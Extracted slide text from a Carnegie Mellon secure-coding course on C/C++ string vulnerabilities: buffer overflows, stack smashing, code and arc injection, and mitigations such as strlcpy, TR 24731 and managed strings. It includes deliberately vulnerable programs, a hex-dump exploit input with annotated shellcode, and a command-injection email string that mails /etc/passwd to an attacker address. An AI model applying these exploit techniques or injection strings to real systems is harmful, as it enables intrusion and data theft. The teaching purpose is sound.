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About this Presentation
Presentation assumes basic C/C++
programming skills but does not assume in-
depth knowledge of software security

Ideas generalize but examples are specific to
Microsoft Visual Studio
Linux/GCC
32-bit Intel Architecture (IA-32)
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Strings
Comprise most of the data exchanged 
between an end user and a software system

command-line arguments
environment variables
console input

Software vulnerabilities and exploits are 
caused by weaknesses in

string representation
string management
string manipulation
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C-Style Strings
Strings are a fundamental concept in software engineering, but 
they are not a built-in type in C or C++.

C-style strings consist of a contiguous sequence of characters 
terminated by and including the first null character. 

A pointer to a string points to its initial character. 
String length is the number of bytes preceding the null character
The string value is the sequence of the values of the contained 
characters, in order.
The number of bytes required to store a string is the number of 
characters plus one (x the size of each character)

h e l l o \0

length
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C++ Strings
The standardization of C++ has promoted the 
standard template class std::basic_string and 
its char instantiation std::string

The basic_string class is less prone to security 
vulnerabilities than C-style strings.

C-style strings are still a common data type in C++ 
programs

Impossible to avoid having multiple string types in a 
C++ program except in rare circumstances 

there are no string literals 
no interaction with the existing libraries that accept 

C-style strings only C-style strings are used 
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Common String Manipulation Errors

Programming with C-style strings, in C or C++, 
is error prone. 

Common errors include 
Unbounded string copies
Null-termination errors
Truncation
Write outside array bounds
Off-by-one errors
Improper data sanitization
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Unbounded String Copies
Occur when data is copied from a unbounded source to 
a fixed length character array

1. void main(void) {

2. char Password[80];

3. puts("Enter 8 character password:");

4. gets(Password); 

...

5. }
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Copying and Concatenation 
It is easy to make errors when copying and 
concatenating strings because standard functions do 
not know the size of the destination buffer
1. int main(int argc, char *argv[]) {

2. char name[2048];

3. strcpy(name, argv[1]);

4. strcat(name, " = ");

5. strcat(name, argv[2]);

...

6. }
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Simple Solution
Test the length of the input using strlen() and dynamically 
allocate the memory
1. int main(int argc, char *argv[]) {

2. char *buff = (char *)malloc(strlen(argv[1])+1);

3. if (buff != NULL) {

4. strcpy(buff, argv[1]);

5. printf("argv[1] = %s.\n", buff);

6. }

7. else {

/* Couldn't get the memory - recover */

8. }

9. return 0;

10. } 

© 2006 Carnegie Mellon University 14

C++ Unbounded Copy
Inputting more than 11 characters into following the 
C++ program results in an out-of-bounds write:

1. #include <iostream.h>

2. int main() {

3. char buf[12];

4. cin >> buf;

5. cout << "echo: " << buf << endl;

6. }
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1. #include <iostream.h>

2. int main() {

3. char buf[12];

3. cin.width(12);

4. cin >> buf;

5. cout << "echo: " << buf << endl;

6. }

Simple Solution

The extraction operation can be limited 
to a specified number of characters if 
ios_base::width is set to a 
value > 0

After a call to the extraction 
operation the value of the 
width field is reset to 0

© 2006 Carnegie Mellon University 16

Null-Termination Errors
Another common problem with C-style strings is a 

failure to properly null terminate

int main(int argc, char* argv[]) {

char a[16];

char b[16];

char c[32];

strncpy(a, "0123456789abcdef", sizeof(a));

strncpy(b, "0123456789abcdef", sizeof(b));

strncpy(c, a, sizeof(c));

}

Neither a[] nor b[] are 
properly terminated
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From ISO/IEC 9899:1999
The strncpy function 

char *strncpy(char * restrict s1,

const char * restrict s2,

size_t n);

copies not more than n characters (characters that 
follow a null character are not copied) from the array 
pointed to by s2 to the array pointed to by s1.260)

260) Thus, if there is no null character in the first n characters of the 
array pointed to by s2, the result will not be null-terminated.

© 2006 Carnegie Mellon University 18

String Truncation
Functions that restrict the number of bytes are 

often recommended to mitigate against buffer 
overflow vulnerabilities
strncpy() instead of strcpy()
fgets() instead of gets()
snprintf() instead of sprintf()

Strings that exceed the specified limits are 
truncated

Truncation results in a loss of data, and in some 
cases, to software vulnerabilities
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Write Outside Array Bounds
1. int main(int argc, char *argv[]) {

2. int i = 0;

3. char buff[128];

4. char *arg1 = argv[1];

5. while (arg1[i] != '\0' ) {

6. buff[i] = arg1[i]; 

7. i++;

8. }

9. buff[i] = '\0';

10. printf("buff = %s\n", buff);

11. }

Because C-style strings are character 
arrays, it is possible to perform an 
insecure string operation without 
invoking a function

© 2006 Carnegie Mellon University 20

Off-by-One Errors
Can you find all the off-by-one errors in this program?

1. int main(int argc, char* argv[]) {

2. char source[10];

3. strcpy(source, "0123456789");

4. char *dest = (char *)malloc(strlen(source));

5. for (int i=1; i <= 11; i++) {

6. dest[i] = source[i];

7. }

8. dest[i] = '\0';

9. printf("dest = %s", dest);

10. }
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Improper Data Sanitization
An application inputs an email address from a user and 
writes the address to a buffer [Viega 03]
sprintf(buffer,

"/bin/mail %s < /tmp/email",
addr

);

The buffer is then executed using the system() call. 

The risk is, of course, that the user enters the following 
string as an email address:
bogus@addr.com; cat /etc/passwd | mail some@badguy.net

[Viega 03] Viega, J., and M. Messier. Secure Programming Cookbook for C and C++: 
Recipes for Cryptography, Authentication, Networking, Input Validation & More. 
Sebastopol, CA: O'Reilly, 2003. 
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Program Stacks
A program stack is used to keep track of 
program execution and state by storing

return address in the calling function
arguments to the functions 
local variables (temporary)

The stack is modified 
during function calls
function initialization
when returning from a subroutine

© 2006 Carnegie Mellon University 24

Stack Segment
The stack supports 

nested invocation calls

Information pushed on 
the stack as a result of 
a function call is called 
a frame 

Stack frame
for main()

Low memory

High memory

Stack frame
for a()

Stack frame
for b()

Unallocated

b() {…}
a() {
b();

}
main() {
a();

}

A stack frame is 
created for each 
subroutine and 
destroyed upon 
return
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Stack Frames
The stack is used to store 

return address in the calling function
actual arguments to the subroutine 
local (automatic) variables

The address of the current frame is stored in a 
register (EBP on Intel architectures) 

The frame pointer is used as a fixed point of reference 
within the stack

The stack is modified during
subroutine calls
subroutine initialization 
returning from a subroutine  

© 2006 Carnegie Mellon University 26

push 4

Push 1st arg on 
stack

EIP = 00411A82 ESP = 0012FE08 EBP = 0012FEDC

call function (411A29h) Push the return 
address on stack 
and jump to 
address

EIP = 00411A29 ESP = 0012FD40 EBP = 0012FE00

Subroutine Calls

function(4, 2);

EIP = 00411A7E ESP = 0012FE10 EBP = 0012FEDC

push 2

Push 2nd arg on stack

EIP = 00411A80 ESP = 0012FE0C EBP = 0012FEDC
EIP: Extended 
Instruction Pointer

ESP: Extended 
Stack Pointer

EBP: Extended 
Base Pointer
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Subroutine Initialization

void function(int arg1, int arg2) {

EIP = 00411A20 ESP = 0012FE04 EBP = 0012FEDC

push ebp Save the frame pointer

EIP = 00411A21 ESP = 0012FE00 EBP = 0012FEDC

mov ebp, esp Frame pointer for subroutine 
is set to current stack pointer

EIP = 00411A23 ESP = 0012FE00 EBP = 0012FE00

sub esp, 44h Allocates space for local 
variables

EIP = 00411A29 ESP = 0012FD40 EBP = 0012FE00
EIP: Extended 
Instruction Pointer

ESP: Extended 
Stack Pointer

EBP: Extended 
Base Pointer
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Subroutine Return

return();

EIP = 00411A47 ESP = 0012FD40 EBP = 0012FE00

mov esp, ebp

Restore the stack pointer

EIP = 00411A49 ESP = 0012FE00 EBP = 0012FE00

pop ebp
Restore the frame pointer

EIP = 00411A4A ESP = 0012FE04 EBP = 0012FEDC

ret Pops return address off the stack 
and transfers control to that 
location

EIP = 00411A87 ESP = 0012FE08 EBP = 0012FEDC
EIP: Extended 
Instruction Pointer

ESP: Extended 
Stack Pointer

EBP: Extended 
Base Pointer
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EIP = 00411A87 ESP = 0012FE08 EBP = 0012FEDC

Return to Calling Function

function(4, 2);
push 2
push 4
call function (411230h) 
add  esp,8

Restore stack 
pointer

EIP = 00411A8A ESP = 0012FE10 EBP = 0012FEDC

EIP: Extended 
Instruction Pointer

ESP: Extended 
Stack Pointer

EBP: Extended 
Base Pointer

© 2006 Carnegie Mellon University 30

Example Program
bool IsPasswordOK(void) {

char Password[12]; // Memory storage for pwd

gets(Password);    // Get input from keyboard

if (!strcmp(Password,"goodpass")) return(true); // Password Good

else return(false); // Password Invalid

}

void main(void) {

bool PwStatus;              // Password Status

puts("Enter Password:");    // Print

PwStatus=IsPasswordOK();  // Get & Check Password

if (PwStatus == false) {

puts("Access denied"); // Print

exit(-1);              // Terminate Program

}

else puts("Access granted");// Print

}
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Stack Before Call to IsPasswordOK()

Caller EBP – Frame Ptr OS (4 bytes)

Storage for PwStatus (4 bytes)

Return Addr of main – OS (4 Bytes)
…

puts("Enter Password:"); 
PwStatus=IsPasswordOK();  
if (PwStatus==false) {

puts("Access denied");
exit(-1);

}
else puts("Access
granted");

Stack
ESP

Code
EIP

© 2006 Carnegie Mellon University 32

Stack During IsPasswordOK() Call

Caller EBP – Frame Ptr main 
(4 bytes)

Caller EBP – Frame Ptr OS 
(4 bytes)

Storage for PwStatus (4 bytes)

Return Addr of main – OS (4 Bytes)

…

Return Addr Caller – main (4 Bytes)

Storage for Password (12 Bytes)
puts("Enter Password:"); 
PwStatus=IsPasswordOK();
if (PwStatus==false) {

puts("Access denied");
exit(-1);

}
else puts("Access granted");

bool IsPasswordOK(void) {
char Password[12]; 

gets(Password);    
if (!strcmp(Password, "goodpass"))

return(true);
else return(false)

}

Note: The stack grow and shrink 
as a result of function calls made 
by IsPasswordOK(void)

Stack
ESP

Code

EIP
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Stack After IsPasswordOK() Call 
puts("Enter Password:"); 
PwStatus = IsPasswordOk();
if (PwStatus == false) {

puts("Access denied");
exit(-1);

}
else puts("Access granted");

Caller EBP – Frame Ptr OS (4 bytes)

Caller EBP – Frame Ptr main 
(4 bytes)

Storage for PwStatus (4 bytes)

Return Addr of main – OS (4 Bytes)

…

Return Addr Caller – main (4 Bytes)

Storage for Password (12 Bytes)Stack

EIP
Code

ESP

© 2006 Carnegie Mellon University 34

Example Program Runs
Run #1 Correct Password

Run #2 Incorrect Password



18

© 2006 Carnegie Mellon University 35

String Agenda
Strings

Common String Manipulation Errors

String Vulnerabilities
Program stacks
Buffer overflows
Code Injection
Arc Injection

Mitigation Strategies

Summary

© 2006 Carnegie Mellon University 36

What is a Buffer Overflow?
A buffer overflow occurs when data is written 
outside of the boundaries of the memory 
allocated to a particular data structure

Destination
Memory

Source
Memory

Allocated Memory (12 Bytes) Other Memory

16 Bytes of Data

Copy 
Operation
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Buffer Overflows
Buffer overflows occur when data is written 
beyond the boundaries of memory allocated for 
a particular data structure.

Caused when buffer boundaries are neglected
and unchecked

Buffer overflows can be exploited to modify a 
variable
data pointer
function pointer
return address on the stack

© 2006 Carnegie Mellon University 38

Smashing the Stack
Occurs when a buffer overflow overwrites data 
in the memory allocated to the execution stack. 

Successful exploits can overwrite the return 
address on the stack allowing execution of 
arbitrary code on the targeted machine.

This is an important class of vulnerability 
because of their frequency and potential 
consequences.
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The Buffer Overflow 1
What happens if we input 
a password with more 
than 11 characters ? 

* CRASH *

© 2006 Carnegie Mellon University 40

The Buffer Overflow 2

bool IsPasswordOK(void) {
char Password[12];

gets(Password);
if (!strcmp(Password,"badprog"))

return(true);
else return(false)

}

Return Addr of main – OS (4 Bytes)

Caller EBP – Frame Ptr main 
(4 bytes)

“3456”

Storage for PwStatus (4 bytes)

“\0”
Caller EBP – Frame Ptr OS 
(4 bytes)

…

Return Addr Caller – main (4 Bytes)

“7890”

Storage for Password (12 Bytes)

“123456789012”

Stack

The return address and other data on 
the stack is over written because the 
memory space allocated for the 
password can only hold a maximum 11 
character plus the NULL terminator.

EIP
ESP
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The Vulnerability

A specially crafted string “1234567890123456j►*!” 
produced the following result.

What happened ?

© 2006 Carnegie Mellon University 42

What Happened ?

“1234567890123456j►*!” 
overwrites 9 bytes of memory on 
the stack changing the callers 
return address skipping lines 3-5  
and starting execuition at line 6

Caller EBP – Frame Ptr main (4 bytes)

“3456”

Storage for PwStatus (4 bytes)

“\0”
Caller EBP – Frame Ptr OS (4 bytes)

Return Addr of main – OS (4 Bytes)

Return Addr Caller – main (4 Bytes)

“W►*!” (return to line 4 was line 3)

Storage for Password (12 Bytes)

“123456789012”

Stack

puts("Access denied");4

StatementLine

else
puts("Access granted");

6

exit(-1); 5

if (PwStatus == true)3

PwStatus=ISPasswordOK();2

puts("Enter Password:");1

Note: This vulnerability also could have been exploited to execute 
arbitrary code contained in the input string. 
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Question

Q: What is the difference 
between code and data?

A: Absolutely nothing.
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Code Injection
Attacker creates a malicious argument—a 
specially crafted string that contains a pointer 
to malicious code provided by the attacker

When the function returns control is transferred 
to the malicious code 

injected code runs with the permissions of the 
vulnerable program when the function returns 
programs running with root or other elevated 
privileges are normally targeted

© 2006 Carnegie Mellon University 46

Malicious Argument
Must be accepted by the vulnerable program 
as legitimate input.

The argument, along with other controllable 
inputs, must result in execution of the 
vulnerable code path.

The argument must not cause the program to 
terminate abnormally before control is passed 
to the malicious code
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./vulprog < exploit.bin
The get password program can be exploited to 
execute arbitrary code by providing the following 
binary data file as input:
000  31 32 33 34 35 36 37 38-39 30 31 32 33 34 35 36 "1234567890123456"

010  37 38 39 30 31 32 33 34-35 36 37 38 E0 F9 FF BF "789012345678a· +"

020  31 C0 A3 FF F9 FF BF B0-0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"

030  F9 FF BF 8B 15 FF F9 FF-BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"

040  31 31 31 2F 75 73 72 2F-62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “

This exploit is specific to Red Hat Linux 9.0 and 
GCC

© 2006 Carnegie Mellon University 48

Mal Arg Decomposed 1

000  31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"

010  37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"

020  31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"

030  F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"

040  31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “

The first 16 bytes of binary data fill the 
allocated storage space for the password. 

NOTE: The version of the gcc compiler used allocates 
stack data in multiples of 16 bytes
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Mal Arg Decomposed 2

000  31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"

010  37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"

020  31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"

030  F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"

040  31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal 

The next 12 bytes of binary data fill the storage allocated by 
the compiler to align the stack on a 16-byte boundary. 
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Mal Arg Decomposed 3

000  31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"

010  37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"

020  31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"

030  F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"

040  31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “

This value overwrites the return address on the stack to 
reference injected code
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Malicious Code
The object of the malicious argument is to 
transfer control to the malicious code

May be included in the malicious argument (as 
in this example)
May be injected elsewhere during a valid input 
operation
Can perform any function that can otherwise 
be programmed but often will simply open a 
remote shell on the compromised machine. 

For this reason this injected, malicious code is 
referred to as shellcode.
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Sample Shell Code
xor %eax,%eax #set eax to zero

mov %eax,0xbffff9ff #set to NULL word

xor %eax,%eax #set eax to zero

mov %eax,0xbffff9ff #set to NULL word

mov $0xb,%al #set code for execve

mov $0xb,%al #set code for execve

mov $0xbffffa03,%ebx #ptr to arg 1

mov $0xbffff9fb,%ecx #ptr to arg 2

mov 0xbffff9ff,%edx  #ptr to arg 3

mov $0xb,%al #set code for execve

mov $0xbffffa03,%ebx #ptr to arg 1

mov $0xbffff9fb,%ecx #ptr to arg 2

mov 0xbffff9ff,%edx  #ptr to arg 3

int $80 # make system call to execve

arg 2 array pointer array

char * []={0xbffff9ff, “1111”}; “/usr/bin/cal\0”
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Create a Zero

xor %eax,%eax #set eax to zero

mov %eax,0xbffff9ff # set to NULL word

… 

Create a zero value
• because the exploit cannot contain null characters until the last 
byte, the null pointer must be set by the exploit code.

Use it to null terminate the argument list 
• Necessary because an argument to a system call
consists of a list of pointers terminated by a null 

pointer. 
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Shell Code
xor %eax,%eax #set eax to zero

mov %eax,0xbffff9ff #set to NULL word

mov $0xb,%al #set code for execve

… 

The system call is set to 0xb, 
which equates to the execve()
system call in Linux.
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Shell Code
…

mov $0xb,%al #set code for execve

mov $0xbffffa03,%ebx #arg 1 ptr

mov $0xbffff9fb,%ecx #arg 2 ptr

mov 0xbffff9ff,%edx  #arg 3 ptr

… 

arg 2 array pointer array

char * []={0xbffff9ff

“1111”}; 

“/usr/bin/cal\0”

Data for the arguments is also included in the shellcode

points to a NULL byte

Changed to 0x00000000
terminates ptr array and used 
for arg3

Sets up three 
arguments for 
the execve()
call
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Shell Code
…

mov $0xb,%al #set code for execve

mov $0xbffffa03,%ebx #ptr to arg 1

mov $0xbffff9fb,%ecx #ptr to arg 2

mov 0xbffff9ff,%edx  #ptr to arg 3

int $80 # make system call to execve

…

The execve() system call results in 
execution of the Linux calendar program
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Summary
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Arc Injection (return-into-libc) 
Arc injection transfers control to code that 
already exists in the program’s memory space

refers to how exploits insert a new arc (control-
flow transfer) into the program’s control-flow 
graph as opposed to injecting code. 
can install the address of an existing function 
(such as system() or exec(), which can be 
used to execute programs on the local system
even more sophisticated attacks possible using 
this technique
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Vulnerable Program
1. #include <string.h>

2. int get_buff(char *user_input){

3. char buff[4];

4. memcpy(buff, user_input, strlen(user_input)+1);

5. return 0;

6. }

7. int main(int argc, char *argv[]){

8. get_buff(argv[1]);

9. return 0;

10. }
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Exploit
Overwrites return address with address of 
existing function

Creates stack frames to chain function calls.

Recreates original frame to return to program 
and resume execution without detection
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Stack Before and After Overflow

ebp (frame 2)
f() address

(leave/ret)address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

(leave/ret)address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

esp

ebpebp (main)
return addr(main)

buff[4]esp
ebp

stack frame main

Before After

mov esp, ebp
pop ebp
ret 
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get_buff() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

ebp
esp

eip
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get_buff() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

eip

ebp
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get_buff() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

eip

ebp
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get_buff() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

ebp

ret instruction 
transfers 
control to f()
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f() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

ebp

f() returns 
control to leave / 
return sequence

eip
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f() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp ebp

eip

© 2006 Carnegie Mellon University 68

f() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

ebp

eip
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f() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

ebp

ret instruction 
transfers 
control to g()
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g() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

g() returns 
control to leave / 
return sequence

eip

ebp

esp
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g() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

eip

ebpesp
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g() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

eip

esp

Original ebp
restored
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g() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

ret instruction 
returns 

control to 
main()
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Why is This Interesting?
An attacker can chain together multiple 
functions with arguments

“Exploit” code pre-installed in code segment
No code is injected
Memory based protection schemes cannot 
prevent arc injection
Doesn’t required larger overflows

The original frame can be restored to prevent 
detection
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String Vulnerabilities
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Summary
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Mitigation Strategies
Include strategies designed to 

prevent buffer overflows from occurring 
detect buffer overflows and securely recover 
without allowing the failure to be exploited

Prevention strategies can 
statically allocate space
dynamically allocate space
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String Agenda
Strings

Common String Manipulation Errors

String Vulnerabilities

Mitigation Strategies
Static approach
Dynamic approach

Summary
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Statically Allocated Buffers
Assumes a fixed size buffer

Impossible to add data after buffer is filled
Because the static approach discards excess 
data, actual program data can be lost. 
Consequently, the resulting string must be fully 
validated
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Static Prevention Strategies
Input validation

strlcpy() and strlcat()

ISO/IEC “Security” TR 24731
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Input Validation
Buffer overflows are often the result of unbounded 
string or memory copies. 
Buffer overflows can be prevented by ensuring that 
input data does not exceed the size of the smallest 
buffer in which it is stored.
1. int myfunc(const char *arg) {

2. char buff[100];

3. if (strlen(arg) >= sizeof(buff)) {

4. abort();

5. }

6. }



41

© 2006 Carnegie Mellon University 81

Static Prevention Strategies
Input validation

strlcpy() and strlcat()

ISO/IEC “Security” TR 24731
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strlcpy() and strlcat()
Copy and concatenate strings in a less error-prone 
manner 

size_t strlcpy(char *dst,
const char *src, size_t size);

size_t strlcat(char *dst, 
const char *src, size_t size);

The strlcpy() function copies the null-terminated 
string from src to dst (up to size characters). 

The strlcat() function appends the null-terminated 
string src to the end of dst (no more than size
characters will be in the destination)
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Size Matters
To help prevent buffer overflows, strlcpy()
and strlcat() accept the size of the 
destination string as a parameter.

For statically allocated destination buffers, this 
value is easily computed at compile time using 
the sizeof() operator.
Dynamic buffers size not easily computed

Both functions guarantee the destination string 
is null terminated for all non-zero-length buffers
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String Truncation 
The strlcpy() and strlcat() functions return the 
total length of the string they tried to create. 

For strlcpy() that is simply the length of the source
For strlcat() it is the length of the destination 
(before concatenation) plus the length of the source. 

To check for truncation, the programmer needs to 
verify that the return value is less than the size 
parameter. 

If the resulting string is truncated the programmer 
knows the number of bytes needed to store the string 
may reallocate and recopy.
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strlcpy() and strlcat() Summary

The strlcpy() and strlcat() available for 
several UNIX variants including OpenBSD and 
Solaris but not GNU/Linux (glibc). 

Still possible that the incorrect use of these 
functions will result in a buffer overflow if the 
specified buffer size is longer than the actual 
buffer length. 

Truncation errors are also possible if the 
programmer fails to verify the results of these 
functions.
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Static Prevention Strategies
Input validation

strlcpy() and strlcat()

ISO/IEC “Security” TR 24731



44

© 2006 Carnegie Mellon University 87

ISO/IEC “Security” TR 24731
Work by the international standardization 
working group for the programming language 
C (ISO/IEC JTC1 SC22 WG14)

ISO/IEC TR 24731 defines less error-prone 
versions of C standard functions

strcpy_s() instead of strcpy()
strcat_s() instead of strcat()
strncpy_s() instead of strncpy()
strncat_s() instead of strncat()
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ISO/IEC “Security” TR 24731 Goals
Mitigate against

Buffer overrun attacks 
Default protections associated with program-created file

Do not produce unterminated strings

Do not unexpectedly truncate strings

Preserve the null terminated string data type 

Support compile-time checking

Make failures obvious

Have a uniform pattern for the function parameters and return type 
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strcpy_s() Function
Copies characters from a source string to a destination character array 
up to and including the terminating null character. 

Has the signature:

errno_t strcpy_s(

char * restrict s1,
rsize_t s1max,
const char * restrict s2);

Similar to strcpy() with extra argument of type rsize_t that 
specifies the maximum length of the destination buffer.

Only succeeds when the source string can be fully copied to the 
destination without overflowing the destination buffer. 
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strcpy_s() Example
int main(int argc, char* argv[]) {

char a[16];

char b[16];

char c[24];

strcpy_s(a, sizeof(a), "0123456789abcdef");

strcpy_s(b, sizeof(b), "0123456789abcdef");

strcpy_s(c, sizeof(c), a);

strcat_s(c, sizeof(c), b);

}

strcpy_s() fails and generates 
a runtime constraint error
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ISO/IEC TR 24731 Summary
Already available in Microsoft Visual C++ 2005

Functions are still capable of overflowing a 
buffer if the maximum length of the destination 
buffer is incorrectly specified

The ISO/IEC TR 24731 functions are
not “fool proof”
undergoing standardization but may evolve
useful in 
– preventive maintenance
– legacy system modernization
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Agenda
Strings

Common String Manipulation Errors

String Vulnerabilities

Mitigation Strategies
Static approach
Dynamic approach

Summary
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Dynamically Allocated Buffers
Dynamically allocated buffers dynamically 
resize as additional memory is required. 

Dynamic approaches scale better and do not 
discard excess data. 

The major disadvantage is that if inputs are not 
limited they can 

exhaust memory on a machine 
consequently be used in denial-of-service 
attacks

© 2006 Carnegie Mellon University 94

Dynamic Prevention Strategies
SafeStr

Managed string library
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SafeStr
Written by Matt Messier and John Viega

Provides a rich string-handling library for C that 
has secure semantics 
is interoperable with legacy library code
uses a dynamic approach that automatically resizes 
strings as required. 

SafeStr reallocates memory and moves the contents of 
the string whenever an operation requires that a string 
grow in size. 

As a result, buffer overflows should not be possible 
when using the library
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safestr_t type
The SafeStr library is based on the 
safestr_t type

Compatible with char * so that safestr_t
structures to be cast as char * and behave 
as C-style strings. 

The safestr_t type keeps the actual and 
allocated length in memory directly preceding 
the memory referenced by the pointer
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Error Handling
Error handling is performed using the XXL library 

provides both exceptions and asset management for C 
and C++. 
The caller is responsible for handling exceptions 
If no exception handler is specified by default
– a message is output to stderr
– abort() is called

The dependency on XXL can be an issue because 
both libraries need to be adopted to support this 
solution.
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SafeStr Example
safestr_t str1;

safestr_t str2;

XXL_TRY_BEGIN {

str1 = safestr_alloc(12, 0);

str2 = safestr_create("hello, world\n", 0);

safestr_copy(&str1, str2);

safestr_printf(str1);

safestr_printf(str2);

}

XXL_CATCH (SAFESTR_ERROR_OUT_OF_MEMORY)

{

printf("safestr out of memory.\n");

}

XXL_EXCEPT {

printf("string operation failed.\n");

}

XXL_TRY_END;

Allocates memory for strings

Copies string 

Catches memory errors

Handles remaining exceptions
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Managed Strings
Manage strings dynamically 

allocate buffers 
resize as additional memory is required

Managed string operations guarantee that
strings operations cannot result in a buffer overflow
data is not discarded
strings are properly terminated (strings may or may not 
be null terminated internally)

Disadvantages 
unlimited can exhaust memory and be used in denial-
of-service attacks
performance overhead
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Data Type
Managed strings use an opaque data type

struct string_mx; 

typedef struct string_mx *string_m;

The representation of this type is 
private
implementation specific
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Create / Retrieve String Example
errno_t retValue; 

char *cstr;  // c style string 

string_m str1 = NULL;  

if (retValue = strcreate_m(&str1, "hello, world")) { 

fprintf(stderr, "Error %d from strcreate_m.\n", retValue);

} 

else { // print string 

if (retValue = getstr_m(&cstr, str1)) {

fprintf(stderr, "error %d from getstr_m.\n", retValue); 

} 

printf("(%s)\n", cstr); 

free(cstr); // free duplicate string 

} 

Status code uniformly provided 
as return value
• prevents nesting
• encourages status checking
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Black Listing
Replaces dangerous characters in input strings with 
underscores or other harmless characters. 

requires the programmer to identify all 
dangerous characters and character 
combinations. 
may be difficult without having a detailed 
understanding of the program, process, library, 
or component being called. 
May be possible to encode or escape 
dangerous characters after successfully 
bypassing black list checking.
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White Listing
Define a list of acceptable characters and 
remove any characters that are unacceptable 

The list of valid input values is typically a 
predictable, well-defined set of manageable 
size. 

White listing can be used to ensure that a 
string only contains characters that are 
considered safe by the programmer.
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Data Sanitization
The managed string library provides a 
mechanism for dealing with data sanitization 
by (optionally) ensuring that all characters in a 
string belong to a predefined set of “safe” 
characters. 

errno_t setcharset(

string_m s, 

const string_m safeset

);
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String Summary
Buffer overflows occur frequently in C and C++ 
because these languages 

define strings as a null-terminated arrays of characters
do not perform implicit bounds checking
provide standard library calls for strings that do not 
enforce bounds checking

The basic_string class is less error prone for C++ 
programs

String functions defined by ISO/IEC “Security” TR 
24731 are useful for legacy system remediation

For new C language development consider using the 
managed strings
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Questions
about
Strings
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Integer Security

Integers represent a growing and underestimated
source of vulnerabilities in C and C++ programs.

Integer range checking has not been systematically 
applied in the development of most C and C++ 
software.
security flaws involving integers exist
a portion of these are likely to be vulnerabilities

A software vulnerability may result when a program 
evaluates an integer to an unexpected value.
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Integer Security Example

1. int main(int argc, char *argv[]) {

2. unsigned short int total;

